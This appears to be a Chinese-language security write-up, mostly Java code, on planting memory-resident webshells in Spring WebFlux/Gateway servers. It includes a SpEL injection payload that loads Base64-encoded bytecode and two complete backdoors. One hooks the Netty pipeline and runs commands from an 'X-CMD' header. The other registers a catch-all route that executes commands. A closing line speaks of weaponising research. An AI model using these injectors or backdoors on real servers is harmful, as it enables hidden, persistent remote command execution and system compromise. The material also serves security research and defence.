#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
// reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer
static ChannelPipelineConfigurer compositeChannelPipelineConfigurer(ChannelPipelineConfigurer configurer, ChannelPipelineConfigurer other) {
if (configurer == ChannelPipelineConfigurer.emptyConfigurer()) { // 默认configurer是无操作空配置
return other;
} else if (other == ChannelPipelineConfigurer.emptyConfigurer()) { // 其他额外configurer是无操作空配置
return configurer;
} else {
......
ChannelPipelineConfigurer[] newConfigurers = new ChannelPipelineConfigurer[length];
int pos;
if (thizConfigurers != null) {
pos = thizConfigurers.length;
System.arraycopy(thizConfigurers, 0, newConfigurers, 0, pos);
} else {
pos = 1;
newConfigurers[0] = configurer; // 将默认configurer存储到新configurer
}
if (otherConfigurers != null) {
System.arraycopy(otherConfigurers, 0, newConfigurers, pos, otherConfigurers.length);
} else {
newConfigurers[pos] = other; // 将其他额外configurer存储到新configurer
}
// 合并成新的configurer
return new ReactorNetty.CompositeChannelPipelineConfigurer(newConfigurers);
}
}
// reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer
static final class CompositeChannelPipelineConfigurer implements ChannelPipelineConfigurer {
final ChannelPipelineConfigurer[] configurers;
CompositeChannelPipelineConfigurer(ChannelPipelineConfigurer[] configurers) {
this.configurers = configurers;
}
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, @Nullable SocketAddress remoteAddress) {
ChannelPipelineConfigurer[] var4 = this.configurers;
int var5 = var4.length;
// 循环调用所有configurer对pipeline设置handler
for(int var6 = 0; var6 < var5; ++var6) {
ChannelPipelineConfigurer configurer = var4[var6];
configurer.onChannelInit(connectionObserver, channel, remoteAddress);
}
}
}
TargetObject = {[Ljava.lang.Thread;}
---> [3] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1} = {org.springframework.boot.web.embedded.netty.NettyWebServer$1}
---> val$disposableServer = {reactor.netty.transport.ServerTransport$InetDisposableBind}
---> config = {reactor.netty.http.server.HttpServerConfig}
---> doOnChannelInit = {reactor.netty.ReactorNetty$$Lambda$391/236567414}
public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
public static String doInject(){
String msg = "inject-start";
try {
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads = getThreads.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
_val$disposableServer.setAccessible(true);
Object val$disposableServer = _val$disposableServer.get(thread);
Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
_config.setAccessible(true);
Object config = _config.get(val$disposableServer);
Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
_doOnChannelInit.setAccessible(true);
_doOnChannelInit.set(config, new NettyMemshell());
msg = "inject-success";
}
}
}catch (Exception e){
msg = "inject-error";
}
return msg;
}
@Override
// Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
ChannelPipeline pipeline = channel.pipeline();
// 将内存马的handler添加到spring层handler的前面
pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
}
@Override
// Step2. 作为Handler处理请求,在此实现内存马的功能逻辑
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if(msg instanceof HttpRequest){
HttpRequest httpRequest = (HttpRequest)msg;
try {
if(httpRequest.headers().contains("X-CMD")) {
String cmd = httpRequest.headers().get("X-CMD");
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
// 返回执行结果
send(ctx, execResult, HttpResponseStatus.OK);
return;
}
}catch (Exception e){
e.printStackTrace();
}
}
ctx.fireChannelRead(msg);
}
private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}
// org.springframework.web.reactive.DispatcherHandler#handle
public Mono<Void> handle(ServerWebExchange exchange) {
return this.handlerMappings == null ? this.createNotFoundError() : Flux.fromIterable(this.handlerMappings).concatMap((mapping) -> {
return mapping.getHandler(exchange); // Step1. 使用HandlerMapping匹配路由
}).next().switchIfEmpty(this.createNotFoundError()).flatMap((handler) -> {
return this.invokeHandler(exchange, handler); // Step2. 使用具体HandlerAdapter来处理具体请求
}).flatMap((result) -> {
return this.handleResult(exchange, result); // Step3. 使用适合的HandlerResultHandler来处理返回的结果
});
}
public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
registerHandlerMethod.setAccessible(true);
Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
PathPattern pathPattern = new PathPatternParser().parse("/*");
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
msg = "inject-success";
}catch (Exception e){
msg = "inject-error";
}
return msg;
}
public ResponseEntity executeCommand(String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}
https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/
可以分析调试最新报送的漏洞
可以将研究成果自动化武器化
有高质量文章blog
有不错的自动化开源作品
有原创CVE